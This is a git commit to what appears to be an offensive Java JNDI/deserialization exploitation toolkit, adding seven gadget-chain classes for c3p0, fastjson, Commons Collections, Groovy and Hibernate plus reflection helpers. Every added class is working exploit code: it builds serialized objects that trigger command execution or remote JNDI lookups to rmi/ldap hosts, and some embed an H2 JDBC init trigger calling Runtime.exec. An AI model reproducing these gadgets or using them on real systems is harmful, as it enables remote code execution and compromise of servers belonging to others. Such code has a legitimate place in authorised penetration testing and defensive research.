add 7gadgets (降级groovyt,hibernate适配新gadget)

2026-09-25 16:21:52 +08:00 · 2024-08-16 21:03:29 +08:00
parent 4bcce8789f
commit a3999b8186
15 changed files with 328 additions and 9 deletions
@@ -0,0 +1,44 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.ComboPooledDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JDBC implements ObjectPayload<Object> {
+    private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+            "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
+            "$$\n";
+    @Override
+    public Object getObject(String command) throws Exception {
+
+        if (!command.toLowerCase().startsWith("jdbc:")) {
+            throw new Exception("Command format is: eviljdbcurl");
+        }
+        cmd = command;
+
+        ComboPooledDataSource o = new ComboPooledDataSource();
+        o.setJdbcUrl(cmd);
+        o.setMaxIdleTime(1);
+        o.setMaxPoolSize(1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,40 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JNDI implements  ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        if (command.toLowerCase().startsWith("jndi:")) {
+            command = command.substring(5);
+        }
+
+        if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
+            throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
+        }
+
+        Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
+        Reflections.setFieldValue(o,"jndiName",command);
+        Reflections.setFieldValue(o,"identityToken","exp");
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,39 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JNDI2 implements  ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        if (command.toLowerCase().startsWith("jndi:")) {
+            command = command.substring(5);
+        }
+
+        if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
+            throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
+        }
+
+        JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
+        o.setJndiName(command);
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.util.HashMap;
+import java.util.Map;
+
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.Unam4})
+public class CommonsCollections14 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Transformer[] transformers = TransformerUtil.makeTransformer(command);
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+        Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
+        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
+        HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
+        Reflections.setFieldValue(decorate, "factory",transformerChain );
+        Reflections.setFieldValue(tiedMapEntry, "key",233);
+
+        return hashMap;
+    }
+
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.Unam4})
+public class CommonsCollections15 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Transformer[] transformers = TransformerUtil.makeTransformer(command);
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+        Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
+
+        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
+        Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
+        Reflections.setFieldValue(decorate, "factory",transformerChain );
+        Reflections.setFieldValue(tiedMapEntry, "key",233);
+        return hashtable;
+    }
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.MethodClosure;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+
+@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
+@Authors({Authors.Unam4})
+public class Groovy2 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        MethodClosure  execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
+        Reflections.setFieldValue(execute,"owner",command);
+        Reflections.setFieldValue(execute,"method","execute");
+        GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"});
+        try {
+            Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
+            Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);
+        } catch (Exception e){
+            Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
+        }
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, gString);
+        return val;
+    }
+
+}
@@ -0,0 +1,45 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"org.hibernate:<4.2","com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
+    private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+            "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
+            "$$\n";
+    public Object getObject(String command) throws Exception {
+
+        if (!command.toLowerCase().startsWith("jdbc:")) {
+            throw new Exception("Command format is: eviljdbcurl");
+        }
+        cmd = command;
+        DriverManagerConnectionProviderImpl o = new DriverManagerConnectionProviderImpl();
+        HashMap<Object, Object> map1 = new HashMap<>();
+//        map1.put("hibernate.connection.driver_class","org.h2.Driver");
+        map1.put("hibernate.connection.url",cmd);
+        map1.put("hibernate.connection.initial_pool_size",0);
+        map1.put("hibernate.hikari.minimumIdle",0);
+        o.configure(map1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -52,6 +52,8 @@ public @interface Authors {

    String KILLER = "killer";

+    String Unam4 = "Unam4";
+
    String[] value() default {};

    class Utils {
@@ -14,6 +14,7 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Base64;
 import java.util.HashMap;
+import java.util.Hashtable;
 import java.util.Map;

 import static com.qi4l.jndi.gadgets.Config.Config.*;
@@ -301,4 +302,40 @@ public class Gadgets extends ClassLoader {
    public Class<?> defineClass(String name, byte[] bytecode) {
        return defineClass(name, bytecode, 0, bytecode.length);
    }
+    public static Hashtable makeTableTstring(Object o) throws Exception{
+        Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        tHashMap1.put(o,"Unam4");
+        tHashMap2.put(o,"SpringKill");
+        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+
+        Hashtable hashtable = new Hashtable();
+        hashtable.put(tHashMap1,"Unam4");
+        hashtable.put(tHashMap2,"SpringKill");
+
+        tHashMap1.put(o, null);
+        tHashMap2.put(o, null);
+        return hashtable;
+    }
+    public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
+        Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        tHashMap1.put(o1,null);
+        tHashMap2.put(o2,null);
+        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+        HashMap hashMap = new HashMap();
+        Class node = Class.forName("java.util.HashMap$Node");
+        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
+        constructor.setAccessible(true);
+        Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null);
+        Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null);
+        Reflections.setFieldValue(hashMap, "size", 2);
+        Object arr = Array.newInstance(node, 2);
+        Array.set(arr, 0, node1);
+        Array.set(arr, 1, node2);
+        Reflections.setFieldValue(hashMap, "table", arr);
+        return hashMap;
+    }
 }
@@ -4,6 +4,9 @@ import com.nqzero.permit.Permit;
 import sun.reflect.ReflectionFactory;

 import java.lang.reflect.*;
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;

@SuppressWarnings("restriction")
 public class Reflections extends ClassLoader {
@@ -44,7 +47,9 @@ public class Reflections extends ClassLoader {
    public static Object newInstance(String className, Object... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }
-
+    public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
+        return createWithoutConstructor(Class.forName(classname));
+    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
@@ -83,5 +88,4 @@ public class Reflections extends ClassLoader {
        }
        return null;
    }
-
 }